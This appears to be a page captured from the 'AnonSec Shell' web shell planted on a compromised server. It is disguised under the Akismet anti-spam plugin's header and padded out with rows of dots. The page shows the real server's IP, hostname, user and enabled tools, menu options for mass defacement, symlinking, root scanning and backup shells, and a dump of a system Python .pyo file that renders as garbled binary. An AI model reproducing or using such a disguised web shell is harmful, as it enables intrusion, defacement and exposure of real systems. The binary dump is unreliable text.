#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 62.109.13.187  /  Your IP : 216.73.216.11   [ Reverse IP ]
Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28
System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : mosrembit ( 6064)
PHP Version : 8.2.28
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib64/python2.7/site-packages/cloud_what/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib64/python2.7/site-packages/cloud_what/provider.pyo
�
L��ec@sSdZddlZddlmZddlmZddlmZddlm	Z	ddl
mZee	egZej
e�Zd�Zdd	d
�Zdd	d�Zdd	d�Zed
krOddlZej
�Zejej�ejej�Zejej�ejd�Zeje�eje�e�Z dj!e �GHndS(sC
This module contains several utils used for VMs running on clouds
i����N(t
HostCollector(tCustomFactsCollector(tAWSCloudProvider(tAzureCloudProvider(tGCPCloudProvidercCs6i}|jt�j��|jt�j��|S(sx
    Try to gather system facts necessary for detection of cloud provider
    :return: Dictionary with system facts
    (tupdateRtget_allR(tfacts((s9/usr/lib64/python2.7/site-packages/cloud_what/provider.pytgather_system_facts(sg�?c	Cs)|dkrt�}ngtD]}||�^q}tjd�g}x6|D].}|j�}|tkrQ|j|�qQqQWt|�dkr�tjdj	d|dj
��|tfSt|�dkr�tjd�nMt|�dkr.tjdj	dd	jg|D]}|j
^q���ng}xX|D]P}|j
�}tjd
j	|j
|��||kr;|j||f�q;q;W|jdd�d
t�g|D]}|d^q�}t|�dkr�tjd�n8tjdj	dd	jg|D]}|j
^q���|tfS(s�
    This method tries to detect cloud providers and return list of possible cloud providers
    :param facts: Dictionary with system facts
    :param threshold: Threshold using for detection of cloud provider
    :return: List of cloud providers
    sTrying to detect cloud provideris:Detected one cloud provider using strong signs: {provider}tprovideris-No cloud provider detected using strong signssFMore than one cloud provider detected using strong signs ({providers})t	providerss, s%Cloud provider {} has probability: {}tkeycSs|dS(Ni((tx((s9/usr/lib64/python2.7/site-packages/cloud_what/provider.pyt<lambda>mstreverses+No cloud provider detected using heuristicss@Following cloud providers detected using heuristics: {providers}N(tNoneRtCLOUD_PROVIDERStlogtdebugtis_running_on_cloudtTruetappendtlentformattCLOUD_PROVIDER_IDterrortjointis_likely_running_on_cloudtsorttFalse(	Rt	thresholdtclstcloud_providerst
cloud_listtcloud_providertcloud_detectedtprobabilitytitem((s9/usr/lib64/python2.7/site-packages/cloud_what/provider.pyt_get_cloud_providers9sB


,

)cCs�t||�\}}t|�dkr;|tkr;|dSt|�dkr�xF|D]>}|j�}|dk	rTtjdjd|j��|SqTWtj	d�ndS(s
    This method tries to detect cloud provider and return corresponding instance of
    cloud provider.
    :param facts: Dictionary with system facts
    :param threshold: Threshold used for heuristic detection of cloud provider
    :return: Instance of cloud provider or None
    iisKMetadata gathered from cloud provider detected using heuristics: {provider}R	sHUnable to get metadata from any cloud provider detected using heuristicsN(
R&RRtget_metadataRRtinfoRRR(RRR!tstrong_signR"tmetadata((s9/usr/lib64/python2.7/site-packages/cloud_what/provider.pytget_cloud_provider{s

cCs5t||�\}}g|D]}|j^q}|S(s
    This method tries to detect cloud provider using hardware information provided by dmidecode.
    When there is strong sign that the VM is running on one of the cloud provider, then return
    list containing only one provider. When there is no strong sign of one cloud provider, then
    try to detect cloud provider using heuristics methods. In this case this method will return
    list of all cloud providers sorted according detected probability
    :param facts: dictionary of facts. When no facts are provided, then hardware, virtualization
        and custom facts are gathered.
    :param threshold: Threshold used for heuristic detection of cloud provider
    :return: List of string representing detected cloud providers. E.g. ['aws'] or ['aws', 'gcp']
    (R&R(RRR!R)R"((s9/usr/lib64/python2.7/site-packages/cloud_what/provider.pytdetect_cloud_provider�s
t__main__s4%(asctime)s - %(name)s - %(levelname)s - %(message)ss!>>> debug <<< detector result: {}("t__doc__tloggingtrhsmlib.facts.host_collectorRtrhsmlib.facts.customRtcloud_what.providers.awsRtcloud_what.providers.azureRtcloud_what.providers.gcpRRt	getLoggert__name__RRRR&R+R,tsystroottsetLeveltDEBUGt
StreamHandlertstdoutthandlert	Formattert	formattertsetFormattert
addHandlert_detector_resultR(((s9/usr/lib64/python2.7/site-packages/cloud_what/provider.pyt<module>s2		B 

	

Anon7 - 2022
AnonSec Team